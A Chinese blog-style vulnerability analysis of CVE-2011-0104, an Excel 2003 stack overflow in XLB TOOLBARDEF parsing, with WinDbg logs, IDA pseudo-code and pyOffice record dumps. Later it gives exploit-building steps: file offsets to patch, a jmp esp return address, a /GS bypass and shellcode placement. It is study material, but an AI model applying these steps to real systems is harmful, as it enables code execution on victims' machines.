这篇文章重新回到栈溢出漏洞的分析,CVE-2011-0104是Excel在解析XLB文件中的TOOLBARDEF记录时,未正确进行数据验证导致的栈溢出漏洞。在进行这个漏洞分析时,我并没有完全遵循《漏洞战争》中的分析流程,准确的说,我做了一些扩展,参考Abysssec的分析文章,从漏洞利用的角度进一步分析了触发漏洞的文件格式,并对其进行修改,最后成功在我自己的环境下实现了漏洞利用。
操作系统:WinXP Pro SP3
Office: 2003 SP3
测试文件:书中使用的是由src.xlb构造而成的exploit.xlb文件,但是我在实验过程中,发现src.xlb文件一开始触发的异常和书中更相似,可能是环境不同的缘故。由于引入了shellcode代码后,栈中的数据会更加复杂,不利于分析。而src.xlb文件本身能够触发异常,已经足够进行漏洞分析了,所以我选择从这个文件开始进行漏洞分析。
打开excel,使用windbg附加,然后打开src.xlb文件,程序中断:
此时的栈中情况:
可以看到大量的0x90
字节,已知这是一个栈溢出漏洞,所以大致可以猜出此时用于溢出栈的数据已经复制到了栈中,但是可能由于环境的问题,相关数据的偏移是错误的,所以才产生了异常。
由于缺少symbol,很多信息都无法查看,直接在IDA打开EXCEL.EXE文件,定位到地址300ce361
,可以找到这个地址所在的函数地址为sub_300CE252
,直接按照书中的说法,定义该函数为crashFun
。
确定了异常函数的地址,这次重新调试,并在crashFun
处设置断点,到达后注意添加快照。根据之前的猜测,栈溢出就应该发生在这个函数调用之后,如果栈溢出的数据设置正常,应该会把这个函数的返回地址覆盖掉,只是这里由于环境的问题,数据偏移是错误的,但是该覆盖掉的数据应该还是会覆盖掉,所以直接在crashFunc
的入口处设置一个栈顶元素的访问断点(栈顶元素保存的就是返回地址),然后继续执行。
所以应该就是这里的rep
指令在进行数据复制的时候,导致了栈溢出。rep
指令的地址是300ce3c8
,在IDA中找到这个地址,确定其所在的函数为sub_300CE380
,沿用书中的说法,将其定义为vulFun
。
注意一下在vulFun
中,qmemcpy
函数在数据复制时发生栈溢出,而其中的length
参数有两个来源:
而v6
和v5
是两个内存中的值,v4
来源于栈中的第二个参数a3
。length
就取两者中的偏小值。不过从qmemcpy
后面的代码来看,整个数据复制的循环更像是由v4
在控制,后续调试看看。
在这里设置一个快照,然后回退到crashFun
入口点的时候,注意crashFun
对栈空间的分配:
在vulFun
设置一个断点,继续执行:
此时栈中的第二个参数是4
,第一个参数是001379fc
,这是数据复制的目的地址,看来这次应该不是导致栈溢出的那次函数调用,但还是继续跟一下,确定v6
和v5
是两个值多大。
这两个值相差还是蛮大了,虽然会被修改,但是相差的量级变化不大,所以length
主要还是由栈中的第二个参数控制。
由于此次调用并不是导致数据溢出的那次调用,我们继续执行,还是到达vulFun
的起始位置
根据栈中保存的数据,此次数据复制的目的地址是0013aa3b
,长度为0x300
。还记得我们刚到达crashFun
时记录的栈顶和栈基址吗?栈顶是13aa30
,栈基址是13aa8c
,所以这次数据复制的长度远超过函数栈帧覆盖的范围,导致了溢出的发生。
接下来就是所谓的污点追踪,查看导致溢出的数据长度0x300
的来源。
栈中的第一个元素306df0e1
是vulFunc
的返回地址,从IDA中查找,得到306df0e1
所在的函数为sub_306DEEFE
,也就是这个函数调用了vulFunc
。
在IDA中查看该函数,F5查看伪代码有500+行,全都分析过来肯定不现实。大致浏览一下整个函数,关注以下几句代码(如果自己分析还是要去IDA里面看,但看下面几句肯定看不明白):
有一个很重要的函数readData
,位于0x300CE402
。名字是我自己起的,从它的代码来看,很明显是在一个src
处读取数据。
我猜测这个函数就是在读取xlb文件内容。这里注意一下,程序使用一个保存在内存中的数值作为src
数组的索引值,这里命名为了src_idx
,每次readData
读取两个字节,这个值也会增加2
,之后还会遇到这个值。
接下来在函数sub_306DEEFE
下断点(就是这个函数调用了vulFun
,我们把这个函数叫做call_vulFun
),调试跟踪一下。
重新返回crashFun
函数入口点的快照,设置断点,继续执行。
在进一步单步调试之前,我们先看一下用来测试的xlb文件src.xlb的格式,使用py-office-tools对该文件进行分析:
得到结果很长,这里没办法都贴出来,但是里面有一些数据有助于我们在调试的时候进行定位:
接下来开始调试,首先进入readData()
函数
注意到这里的3f7a
,就是结果中的[*]Dumping Workbook stream 0x3f7a (16250) bytes...
,这一数值在之前确定v5
和v6
的时候也遇到过。
接下来执行的代码:
一开始肯定是没有超过的,所以并没有跳转:
注意这里就从偏移0x14
的位置读取了一个数值0xa7
,也就是说此时src_idx
的值为0x14
,首先注意它是从哪里读取的——3085d400
,看一下这里的数据:
如果在010editor中打开src.xlb文件,可以找到这部分数据位于偏移0x600
处。如果和pyOffice的输出结果做对比,可以发现这部分数据就是Record BOF [0x809 (2057)]
,紧跟其后的就是Record TOOLBARDEF [0xa7 (167)]
。
根据参考资料3中对xls文件格式的理解,在调用call_vulFun
这个函数之前,程序应该是先提取出来了一个长度为0x3f7a
的Workbook stream,然后由call_vulFun
函数进行处理,BOF记录标志着一个substream的起始位置,call_vulFun
略过BOF记录,读入下一个记录的标志(0xa7
),根据这个标志的不同取值进行不同的处理。
接下来继续往下调试,会发现程序读取了TOOLBARDEF
记录的长度0x4
,此时src_idx
的值为0x16
,读取完之后的值应该是0x18
。
之后程序通过vulFunc
将这四个字节复制到了栈中,注意在vulFunc
中,虽然没有通过readData
读取数据,但是因为已知了记录长度为4
,所以直接将src
中后续的四个字节读取到了栈中,并为src_idx
增加了四个字节,也就是说,此时src_idx
的值为0x1c
。
然后有一系列的if语句,但是判断都没有通过,最终到达了判断tag
是否为0xa7
的语句,判断通过。
接下来有一系列的计算很有意思:
注意这里最后获得的esi寄存器中的值,就是在2.4小节之前获得的发生溢出时数据复制的目的地址。
也就是说,程序在复制完TOOLBARDEF
记录中的四个字节数据之后,根据它的cbtn
字段,将接下来的数据复制目的地址增加了一大段。这里我的理解是,TOOLBARDEF
记录中的len
字段应该和cbtn
字段是有关系的,可是这里的数据是自己构造的,len
表示长度只有4字节,所以复制数据的时候只复制了4字节,但是根据cbtn
字段计算的空间规模却很大,导致程序把栈中一大块未定义的空间当作了正常的数据。
到目前为止程序执行的代码如下:
接下来程序在循环处理这部分未定义的数据:
注意这里eax寄存器中的值为00137a03
,本来TOOLBARDEF
记录中的四字节数据是复制到了001379fc
之后的四个字节,此时eax
已经指向了之后未定义的那部分栈中数据,得到了90909090
。这个数据应该是之前有栈帧占用这部分空间,残留的数据内容。
在循环处理数据的过程中,每读取一次数据之后,程序会做一系列的判断和处理,最终发生栈溢出的数据复制操作就发生在这期间:
如果在306df06c
这里设置一个断点,然后执行,可以看到程序会多次断在这里,eax
的值不断递增:
一开始读取到的都是0x90909090
,这个取值在进行v77 & 0x12F0000
操作的时候,结果是0,因此不会执行到vulFun
的位置。
同时在vulFun
的位置设置一个断点,然后继续执行,
当程序读取到00137b67
的位置时,获得数值2cd5e975
,2cd5e975 & 0x12F0000= 0x50000
,可以通过判断条件。
按照之前的推断,在执行vulFun
之前,调用readData
读取到的内容应该是src
中偏移src_idx
,即偏移0x1c
处的数据。为了确认这一点,回退一下快照,这次不要在vulFun
的位置设置断点,只在306df06c
设置一个条件断点,然后继续执行:
之后开始单步,进入到readData
中之后,发现读取的确实是偏移0x1c
处的数据:
和pyOffice工具得到的输出相对比,就是位于TOOLBARDEF
记录之后的CONTINUE
记录,用0x3c
标签表示。也正是0x3c
这个数值,让程序继续执行到了后面的vulFun
函数。
继续向下单步,接下来程序仍旧调用readData
,读取了CONTINUE
记录的长度为0x300
,这个数值也会传递到vulFun
中,作为数据复制的长度。注意到此时,由于读取了两次数据,src_idx
的值应该是0x20
。
上面是IDA中获得的伪代码,可以看出在调用vulFun
之前的基本流程,最后调用vulFun
的时候,查看栈中数据:
可以看到复制的目的地址和长度。也就是说,程序会把src
偏移0x20
开始的0x300
个字节的数据复制到0013aa3b
的位置。
所以现在可以确定数据复制长度0x300
来自TOOLBARDEF
记录后面的CONTINUE
记录的长度。
现在已经确定了0x300
的来源,但是我还想要弄清楚后面异常发生的原因,怎样构造exploit文件实现漏洞利用。
到目前为止call_vulFun
这个函数差不多看完了,因为异常发生在调用call_vulFun
的crashFun
函数中,所以我们可以直接跳过这个函数,回到crashFun
中。直接在IDA中定位到返回地址的位置,下断点:
注意这里我是在返回地址的前几个指令下的断点,因为在参考资料2中:
Stack overflows are not hard to exploit at all ! but as we have both /GS , SAFESEH here. because given that we are destined to memcpy we can change it so that it begins to overwrite the stack after GS.
所以我检查了一下retn
之前的几句指令,发现它确实在做一个检查:
注意这里,程序从0013aa04
中取出了一个数值bcdcb8c1
,进行了检查:
如果检查不通过程序就退出了。
所以栈中位置0013aa04
的数值不能被修改。
这下可以回到crashFun
函数了。结束了call_vulFun
函数的调用,程序流程很快就跳转了发生异常的位置:
注意到,程序从0013aab8
的位置读取了四个字节的数据,并与0进行比较,如果比较成功,程序会进行一些数据的更新,并成功执行到retn
语句。但是这里比较失败了,所以最终触发了异常。
我在调试的时候,手工把eax
的值修改成了0,让跳转发生,并最终单步到达retn
语句:
注意此时esp寄存器的值为0013aa90
,如果进行漏洞利用,我们希望这里保存的就是跳转地址了,比如jmp esp
指令。
所以现在有两个特殊位置的数据需要注意:
在第2节的最后,我们已经确定,程序会把src
偏移0x20
开始的0x300
个字节的数据复制到0013aa3b
的位置。经过计算:
根据上面得到的两个特殊位置,我尝试对src.xlb中这两个位置的数据进行修改。
首先确定jmp esp指令地址:
之前在看Exploit编写系列教程的时候,里面提到了一个工具findjmp.exe:
src.xlb文件中,对应于我们之前在IDA中的src的位置,是在偏移0x600
的位置,也就是BOF记录起始的位置。
从这里开始找到偏移0x9D
的位置,修改四个字节为00 00 00 00
;找到偏移0x75
的位置,修改四个字节为67 86 86 7c
。
由于程序最后执行的返回指令是retn 2Ch
,所以在返回地址的后面要预留0x2C
字节,再写入真正的shellcode,我没有仔细计算长度,只是预留了足够的位置,写入了0xCC
,这里只做测试,所以先不放入真正的shellcode。
修改好对应位置之后,重新打开excel,使用windbg附加,并在异常发生前的位置0x300ce354
处设置断点,打开测试文件:
可以看到程序中断的位置,在0013aab8
读取数值为0
,数据修改成功,单步继续执行,到达retn
语句:
注意到此时栈顶的数据是7c868667
,正是我们之前搜索到的call esp
指令所在的位置,数据修改成功,继续单步执行,到达call esp
:
步入之后,到达了nop
指令的位置,继续向前单步,到达了我们设置的int 3
指令:
测试成功,现在可以替换成真正的shellcode了!
因为直接修改太麻烦了,所以这里使用脚本生成exploit文件,可以参考书中提供的exploit.py脚本:
使用上述脚本生成的exploit.xlb,打开后可以成功弹出计算器。
从上面的脚本中可以看出需要修改的数据并不多,这时由于src.xlb中本身已经包含了一些特殊数据,这部分内容不需要再做修改,所以我并没有写相关代码。
但是在书中原本提供的python脚本中,也提供了这一部分数据,可以在这里看一下:
可以看到,这个脚本在偏移0x614
之后就开始对src.xlb文件内容进行替换了,但是实际上前半部分替换的内容和src.xlb中原本的内容是一样的,不过这样显然更清晰,因为这些内容也和漏洞利用相关。
除此之外,脚本中返回地址放置的位置更加靠前,与我的测试环境不符,也正是由于这个原因,我在使用书中自带的exploit.xlb时,没能弹出计算器。
在前面的几周中,我根据漏洞原理的不同分析了几种不同的漏洞,也遇到了IE漏洞这个难啃的骨头,再回过头来看栈溢出漏洞,能明显感觉到分析的过程轻松了很多。
漏洞的前半部分分析根据书中所说的“污点追踪”的方法,确定了要找到0x300
的数据来源,但是之后确定call_vulFun
和valFun
的调用关系,src.xlb文件中数据对于程序执行流程的影响,都需要一步步的在调试器中跟踪,并分析IDA中的代码,能够分析下来,一定要感谢之前调试IE漏洞的经历。
之前开始学习的Exploit编写系列教程,对于此次漏洞分析也很有帮助,可以感到对整个漏洞利用的流程掌握更加清晰,而且在调试过程中,会很快想到应该在哪个位置下断点。
关于漏洞利用方法,还有一点技巧是在看Abysssec的文章时注意到的,因为这个漏洞可以根据cbtn字段设置数据复制的目标地址,所以可以利用这个方法绕过程序中本身存在的/GS , SAFESEH保护手段。这也是漏洞利用文件中,cbtn要设置那么大的值的原因。
(
8e4
.e2c): Access violation
-
code c0000005 (first chance)
First chance exceptions are reported before
any
exception handling.
This exception may be expected
and
handled.
eax
=
90909090
ebx
=
00000002
ecx
=
00000006
edx
=
3160ff00
esi
=
00000000
edi
=
00000400
eip
=
300ce361
esp
=
0013aa24
ebp
=
0013aa8c
iopl
=
0
nv up ei ng nz na pe nc
cs
=
001b
ss
=
0023
ds
=
0023
es
=
0023
fs
=
003b
gs
=
0000
efl
=
00010286
*
*
*
ERROR: Symbol
file
could
not
be found. Defaulted to export symbols
for
C:\Program Files\Microsoft Office\OFFICE11\EXCEL.EXE
-
EXCEL!Ordinal41
+
0xce361
:
300ce361
8908
mov dword ptr [eax],ecx ds:
0023
:
90909090
=
????????
(
8e4
.e2c): Access violation
-
code c0000005 (first chance)
First chance exceptions are reported before
any
exception handling.
This exception may be expected
and
handled.
eax
=
90909090
ebx
=
00000002
ecx
=
00000006
edx
=
3160ff00
esi
=
00000000
edi
=
00000400
eip
=
300ce361
esp
=
0013aa24
ebp
=
0013aa8c
iopl
=
0
nv up ei ng nz na pe nc
cs
=
001b
ss
=
0023
ds
=
0023
es
=
0023
fs
=
003b
gs
=
0000
efl
=
00010286
*
*
*
ERROR: Symbol
file
could
not
be found. Defaulted to export symbols
for
C:\Program Files\Microsoft Office\OFFICE11\EXCEL.EXE
-
EXCEL!Ordinal41
+
0xce361
:
300ce361
8908
mov dword ptr [eax],ecx ds:
0023
:
90909090
=
????????
0
:
000
> dd esp
0013aa24
0013c854
00000000
00000002
bcdcb8c1
0013aa34
0013aa8c
40000002
3bd5d6df
3bd5d6df
0013aa44
00000000
00000000
90909090
90909090
0013aa54
90909090
90909090
90909090
90909090
0013aa64
90909090
90909090
90909090
90909090
0013aa74
90909090
90909090
90909090
90909090
0013aa84
90909090
00000000
90909090
90909090
0013aa94
90909090
90909090
90909090
90909090
0
:
000
> dd esp
0013aa24
0013c854
00000000
00000002
bcdcb8c1
0013aa34
0013aa8c
40000002
3bd5d6df
3bd5d6df
0013aa44
00000000
00000000
90909090
90909090
0013aa54
90909090
90909090
90909090
90909090
0013aa64
90909090
90909090
90909090
90909090
0013aa74
90909090
90909090
90909090
90909090
0013aa84
90909090
00000000
90909090
90909090
0013aa94
90909090
90909090
90909090
90909090
0
:
000
> ba r4 esp
0
:
000
> g
Breakpoint
1
hit
eax
=
00000300
ebx
=
00000300
ecx
=
000000a8
edx
=
00000300
esi
=
3085d480
edi
=
0013aa9b
eip
=
300ce3c8
esp
=
001379dc
ebp
=
0013aa3b
iopl
=
0
nv up ei pl nz na pe nc
cs
=
001b
ss
=
0023
ds
=
0023
es
=
0023
fs
=
003b
gs
=
0000
efl
=
00010206
EXCEL!Ordinal41
+
0xce3c8
:
300ce3c8
f3a5 rep movs dword ptr es:[edi],dword ptr [esi] es:
0023
:
0013aa9b
=
13c85400
ds:
0023
:
3085d480
=
90909090
0
:
000
> bl
0
:
000
> ba r4 esp
0
:
000
> g
Breakpoint
1
hit
eax
=
00000300
ebx
=
00000300
ecx
=
000000a8
edx
=
00000300
esi
=
3085d480
edi
=
0013aa9b
eip
=
300ce3c8
esp
=
001379dc
ebp
=
0013aa3b
iopl
=
0
nv up ei pl nz na pe nc
cs
=
001b
ss
=
0023
ds
=
0023
es
=
0023
fs
=
003b
gs
=
0000
efl
=
00010206
EXCEL!Ordinal41
+
0xce3c8
:
300ce3c8
f3a5 rep movs dword ptr es:[edi],dword ptr [esi] es:
0023
:
0013aa9b
=
13c85400
ds:
0023
:
3085d480
=
90909090
0
:
000
> bl
char
*
__userpurge vulFun@<eax>(char
*
dst@<ebp>, char
*
a2, unsigned
int
a3, unsigned
int
a4)
{
/
/
[COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL
-
"+"
TO EXPAND]
v4
=
a3;
if
( !a3 )
return
0
;
if
( a3 > a4 )
{
sub_300BF683(dword_3085C4B4,
6
);
goto LABEL_15;
}
v5
=
dword_30861408;
v6
=
dword_3085D3F8;
dst
=
a2;
do
{
if
( v5 >
=
v6 )
{
v9
=
v4;
if
( v4 >
0x4000
)
LABEL_15:
v9
=
0x4000
;
sub_300F975F(v9);
v5
=
dword_30861408;
v6
=
dword_3085D3F8;
}
length
=
v6
-
v5;
if
( v4 < length )
length
=
v4;
qmemcpy(dst, (char
*
)dword_3085D400
+
v5, length);
/
/
这里发生栈溢出
v4
-
=
length;
v5
=
length
+
dword_30861408;
dst
+
=
length;
dword_30861408
+
=
length;
if
( !v4 )
break
;
v6
=
dword_3085D3F8;
}
while
( dword_3085D3F8
=
=
0x4000
);
return
(char
*
)(dst
-
a2);
}
char
*
__userpurge vulFun@<eax>(char
*
dst@<ebp>, char
*
a2, unsigned
int
a3, unsigned
int
a4)
{
/
/
[COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL
-
"+"
TO EXPAND]
v4
=
a3;
if
( !a3 )
return
0
;
if
( a3 > a4 )
{
sub_300BF683(dword_3085C4B4,
6
);
goto LABEL_15;
}
v5
=
dword_30861408;
v6
=
dword_3085D3F8;
dst
=
a2;
do
{
if
( v5 >
=
v6 )
{
v9
=
v4;
if
( v4 >
0x4000
)
LABEL_15:
v9
=
0x4000
;
sub_300F975F(v9);
v5
=
dword_30861408;
v6
=
dword_3085D3F8;
}
length
=
v6
-
v5;
if
( v4 < length )
length
=
v4;
qmemcpy(dst, (char
*
)dword_3085D400
+
v5, length);
/
/
这里发生栈溢出
v4
-
=
length;
v5
=
length
+
dword_30861408;
dst
+
=
length;
dword_30861408
+
=
length;
if
( !v4 )
break
;
v6
=
dword_3085D3F8;
}
while
( dword_3085D3F8
=
=
0x4000
);
return
(char
*
)(dst
-
a2);
}
length
=
v6
-
v5;
if
( v4 < length )
length
=
v4;
length
=
v6
-
v5;
if
( v4 < length )
length
=
v4;
300ce252
55
push ebp
300ce253
8bec
mov ebp,esp
/
/
ebp <
-
esp
=
13aa8c
300ce255
83ec5c
sub esp,
5Ch
/
/
esp
=
13aa30
300ce252
55
push ebp
300ce253
8bec
mov ebp,esp
/
/
ebp <
-
esp
=
13aa8c
300ce255
83ec5c
sub esp,
5Ch
/
/
esp
=
13aa30
0
:
000
> bp
300CE380
0
:
000
> g
Breakpoint
1
hit
eax
=
306def87
ebx
=
00002020
ecx
=
00000018
edx
=
00003f79
esi
=
00000004
edi
=
001379fc
eip
=
300ce380
esp
=
001379ec
ebp
=
00139ad8
iopl
=
0
nv up ei ng nz na pe cy
cs
=
001b
ss
=
0023
ds
=
0023
es
=
0023
fs
=
003b
gs
=
0000
efl
=
00000287
EXCEL!Ordinal41
+
0xce380
:
300ce380
53
push ebx
0
:
000
> dd esp l3
001379ec
306defad
001379fc
00000004
0
:
000
> bp
300CE380
0
:
000
> g
Breakpoint
1
hit
eax
=
306def87
ebx
=
00002020
ecx
=
00000018
edx
=
00003f79
esi
=
00000004
edi
=
001379fc
eip
=
300ce380
esp
=
001379ec
ebp
=
00139ad8
iopl
=
0
nv up ei ng nz na pe cy
cs
=
001b
ss
=
0023
ds
=
0023
es
=
0023
fs
=
003b
gs
=
0000
efl
=
00000287
EXCEL!Ordinal41
+
0xce380
:
300ce380
53
push ebx
0
:
000
> dd esp l3
001379ec
306defad
001379fc
00000004
0
:
000
> p
eax
=
306def87
ebx
=
00000004
ecx
=
00000018
edx
=
00003f79
esi
=
00000004
edi
=
001379fc
eip
=
300ce397
esp
=
001379e8
ebp
=
00139ad8
iopl
=
0
nv up ei ng nz na pe cy
cs
=
001b
ss
=
0023
ds
=
0023
es
=
0023
fs
=
003b
gs
=
0000
efl
=
00000287
EXCEL!Ordinal41
+
0xce397
:
300ce397
8b1508148630
mov edx,dword ptr [EXCEL!DllGetLCID
+
0x10bda
(
30861408
)] ds:
0023
:
30861408
=
00000018
0
:
000
> p
eax
=
306def87
ebx
=
00000004
ecx
=
00000018
edx
=
00000018
esi
=
00000004
edi
=
001379fc
eip
=
300ce39d
esp
=
001379e8
ebp
=
00139ad8
iopl
=
0
nv up ei ng nz na pe cy
cs
=
001b
ss
=
0023
ds
=
0023
es
=
0023
fs
=
003b
gs
=
0000
efl
=
00000287
EXCEL!Ordinal41
+
0xce39d
:
300ce39d
a1f8d38530 mov eax,dword ptr [EXCEL!DllGetLCID
+
0xcbca
(
3085d3f8
)] ds:
0023
:
3085d3f8
=
00003f7a
0
:
000
> p
eax
=
306def87
ebx
=
00000004
ecx
=
00000018
edx
=
00003f79
esi
=
00000004
edi
=
001379fc
eip
=
300ce397
esp
=
001379e8
ebp
=
00139ad8
iopl
=
0
nv up ei ng nz na pe cy
cs
=
001b
ss
=
0023
ds
=
0023
es
=
0023
fs
=
003b
gs
=
0000
efl
=
00000287
EXCEL!Ordinal41
+
0xce397
:
300ce397
8b1508148630
mov edx,dword ptr [EXCEL!DllGetLCID
+
0x10bda
(
30861408
)] ds:
0023
:
30861408
=
00000018
0
:
000
> p
eax
=
306def87
ebx
=
00000004
ecx
=
00000018
edx
=
00000018
esi
=
00000004
edi
=
001379fc
eip
=
300ce39d
esp
=
001379e8
ebp
=
00139ad8
iopl
=
0
nv up ei ng nz na pe cy
cs
=
001b
ss
=
0023
ds
=
0023
es
=
0023
fs
=
003b
gs
=
0000
efl
=
00000287
EXCEL!Ordinal41
+
0xce39d
:
300ce39d
a1f8d38530 mov eax,dword ptr [EXCEL!DllGetLCID
+
0xcbca
(
3085d3f8
)] ds:
0023
:
3085d3f8
=
00003f7a
0
:
000
> g
Breakpoint
1
hit
eax
=
ffffefe1 ebx
=
000000ff
ecx
=
ffffcfc1 edx
=
00003f79
esi
=
0013aa3b
edi
=
0000303c
eip
=
300ce380
esp
=
001379ec
ebp
=
00139ad8
iopl
=
0
nv up ei ng nz na pe nc
cs
=
001b
ss
=
0023
ds
=
0023
es
=
0023
fs
=
003b
gs
=
0000
efl
=
00000286
EXCEL!Ordinal41
+
0xce380
:
300ce380
53
push ebx
0
:
000
> dd esp l3
001379ec
306df0e1
0013aa3b
00000300
0
:
000
> g
Breakpoint
1
hit
eax
=
ffffefe1 ebx
=
000000ff
ecx
=
ffffcfc1 edx
=
00003f79
esi
=
0013aa3b
edi
=
0000303c
eip
=
300ce380
esp
=
001379ec
ebp
=
00139ad8
iopl
=
0
nv up ei ng nz na pe nc
cs
=
001b
ss
=
0023
ds
=
0023
es
=
0023
fs
=
003b
gs
=
0000
efl
=
00000286
EXCEL!Ordinal41
+
0xce380
:
300ce380
53
push ebx
0
:
000
> dd esp l3
001379ec
306df0e1
0013aa3b
00000300
v71
=
readData();
...
else
if
( v71
=
=
0xA7
)
{
v13
=
readData();
...
v73
=
v13;
...
vulFun((char
*
)&v50, (char
*
)v9, v73,
-
3
-
v14
+
v15);
...
v71
=
readData();
...
else
if
( v71
=
=
0xA7
)
{
v13
=
readData();
...
v73
=
v13;
...
vulFun((char
*
)&v50, (char
*
)v9, v73,
-
3
-
v14
+
v15);
...
int
readData()
{
v0
=
stream_length;
v1
=
src_idx;
if
( src_idx >
=
(stream_length
-
1
) ) {
...
}
else
{
result
=
*
&src[src_idx];
src_idx
+
=
2
;
}
return
result;
}
int
readData()
{
v0
=
stream_length;
v1
=
src_idx;
if
( src_idx >
=
(stream_length
-
1
) ) {
...
}
else
{
result
=
*
&src[src_idx];
src_idx
+
=
2
;
}
return
result;
}
pyOffice.py
-
f src.xlb > src.txt
pyOffice.py
-
f src.xlb > src.txt
[
*
]Opening
file
..\src.xlb
[
*
]Listing streams
/
storages:
Warning: OLE
type
0x8
not
in
types
[
*
*
]Detected Excel
file
..\src.xlb
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
[
*
]Dumping Workbook stream
0x3f7a
(
16250
) bytes...
[ii]BOF record: current count
1
[
0
]Record BOF [
0x809
(
2057
)] offset
0x0
(
0
),
len
0x10
(
16
) (Beginning of
File
)
WORD vers
=
0x600
(
1536
)
WORD dt
=
0x400
(
1024
)
WORD rupBuild
=
0x1faa
(
8106
)
WORD rupYear
=
0x7cd
(
1997
)
DWORD bfh
=
0x500c9
(
327881
)
DWORD sfo
=
0x406
(
1030
)
[
1
]Record TOOLBARDEF [
0xa7
(
167
)] offset
0x14
(
20
),
len
0x4
(
4
) (Toolbar Definition:)
BYTE fUnnamed
=
0xb0
(
176
)
WORD cbtn
=
0xc0f
(
3087
)
Field
'rgbbtndef'
is
variable length, dumping rest of record:
0000000000
00
.
[
2
]Record CONTINUE [
0x3c
(
60
)] offset
0x1c
(
28
),
len
0x300
(
768
) (Continues
Long
Records)
Field
'data'
is
variable length, dumping rest of record:
0000000000
40
DF D6 D5
3B
DF D6 D5
3B
00
00
00
00
00
00
00
@...;...;.......
0000000010
00
90
90
90
90
90
90
90
90
90
90
90
90
90
90
90
................
0000000020
90
90
90
90
90
90
90
90
90
90
90
90
90
90
90
90
................
0000000030
90
90
90
90
90
90
90
90
90
90
90
90
90
90
90
90
................
......
[
*
]Opening
file
..\src.xlb
[
*
]Listing streams
/
storages:
Warning: OLE
type
0x8
not
in
types
[
*
*
]Detected Excel
file
..\src.xlb
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
[
*
]Dumping Workbook stream
0x3f7a
(
16250
) bytes...
[ii]BOF record: current count
1
[
0
]Record BOF [
0x809
(
2057
)] offset
0x0
(
0
),
len
0x10
(
16
) (Beginning of
File
)
WORD vers
=
0x600
(
1536
)
WORD dt
=
0x400
(
1024
)
WORD rupBuild
=
0x1faa
(
8106
)
WORD rupYear
=
0x7cd
(
1997
)
DWORD bfh
=
0x500c9
(
327881
)
DWORD sfo
=
0x406
(
1030
)
[
1
]Record TOOLBARDEF [
0xa7
(
167
)] offset
0x14
(
20
),
len
0x4
(
4
) (Toolbar Definition:)
BYTE fUnnamed
=
0xb0
(
176
)
WORD cbtn
=
0xc0f
(
3087
)
Field
'rgbbtndef'
is
variable length, dumping rest of record:
0000000000
00
.
[
2
]Record CONTINUE [
0x3c
(
60
)] offset
0x1c
(
28
),
len
0x300
(
768
) (Continues
Long
Records)
Field
'data'
is
variable length, dumping rest of record:
0000000000
40
DF D6 D5
3B
DF D6 D5
3B
00
00
00
00
00
00
00
@...;...;.......
0000000010
00
90
90
90
90
90
90
90
90
90
90
90
90
90
90
90
................
0000000020
90
90
90
90
90
90
90
90
90
90
90
90
90
90
90
90
................
0000000030
90
90
90
90
90
90
90
90
90
90
90
90
90
90
90
90
................
......
0
:
000
> t
eax
=
00000000
ebx
=
00000002
ecx
=
00000000
edx
=
00139a28
esi
=
00000000
edi
=
00000000
eip
=
300ce402
esp
=
00139a18
ebp
=
00139ad8
iopl
=
0
nv up ei pl zr na pe nc
cs
=
001b
ss
=
0023
ds
=
0023
es
=
0023
fs
=
003b
gs
=
0000
efl
=
00000246
EXCEL!Ordinal41
+
0xce402
:
300ce402
a1f8d38530 mov eax,dword ptr [EXCEL!DllGetLCID
+
0xcbca
(
3085d3f8
)] ds:
0023
:
3085d3f8
=
00003f7a
0
:
000
> t
eax
=
00000000
ebx
=
00000002
ecx
=
00000000
edx
=
00139a28
esi
=
00000000
edi
=
00000000
eip
=
300ce402
esp
=
00139a18
ebp
=
00139ad8
iopl
=
0
nv up ei pl zr na pe nc
cs
=
001b
ss
=
0023
ds
=
0023
es
=
0023
fs
=
003b
gs
=
0000
efl
=
00000246
EXCEL!Ordinal41
+
0xce402
:
300ce402
a1f8d38530 mov eax,dword ptr [EXCEL!DllGetLCID
+
0xcbca
(
3085d3f8
)] ds:
0023
:
3085d3f8
=
00003f7a
300ce402
a1f8d38530 mov eax,dword ptr [EXCEL!DllGetLCID
+
0xcbca
(
3085d3f8
)]
/
/
3f7a
300ce407
8b0d08148630
mov ecx,dword ptr [EXCEL!DllGetLCID
+
0x10bda
(
30861408
)]
/
/
这里保存的是索引值
300ce40d
8d50ff
lea edx,[eax
-
1
]
300ce410
3bca
cmp
ecx,edx
/
/
检查索引值是不是超过了stream的范围
300ce412
0f8d20690200
jge EXCEL!Ordinal41
+
0xf4d38
(
300f4d38
)
300ce402
a1f8d38530 mov eax,dword ptr [EXCEL!DllGetLCID
+
0xcbca
(
3085d3f8
)]
/
/
3f7a
300ce407
8b0d08148630
mov ecx,dword ptr [EXCEL!DllGetLCID
+
0x10bda
(
30861408
)]
/
/
这里保存的是索引值
300ce40d
8d50ff
lea edx,[eax
-
1
]
300ce410
3bca
cmp
ecx,edx
/
/
检查索引值是不是超过了stream的范围
300ce412
0f8d20690200
jge EXCEL!Ordinal41
+
0xf4d38
(
300f4d38
)
0
:
000
> p
eax
=
00003f7a
ebx
=
00000002
ecx
=
00000014
edx
=
00003f79
esi
=
00000000
edi
=
00000000
eip
=
300ce418
esp
=
00139a18
ebp
=
00139ad8
iopl
=
0
nv up ei ng nz ac po cy
cs
=
001b
ss
=
0023
ds
=
0023
es
=
0023
fs
=
003b
gs
=
0000
efl
=
00000293
EXCEL!Ordinal41
+
0xce418
:
300ce418
0fb78100d48530
movzx eax,word ptr EXCEL!DllGetLCID
+
0xcbd2
(
3085d400
)[ecx] ds:
0023
:
3085d414
=
00a7
0
:
000
> p
eax
=
00003f7a
ebx
=
00000002
ecx
=
00000014
edx
=
00003f79
esi
=
00000000
edi
=
00000000
eip
=
300ce418
esp
=
00139a18
ebp
=
00139ad8
iopl
=
0
nv up ei ng nz ac po cy
cs
=
001b
ss
=
0023
ds
=
0023
es
=
0023
fs
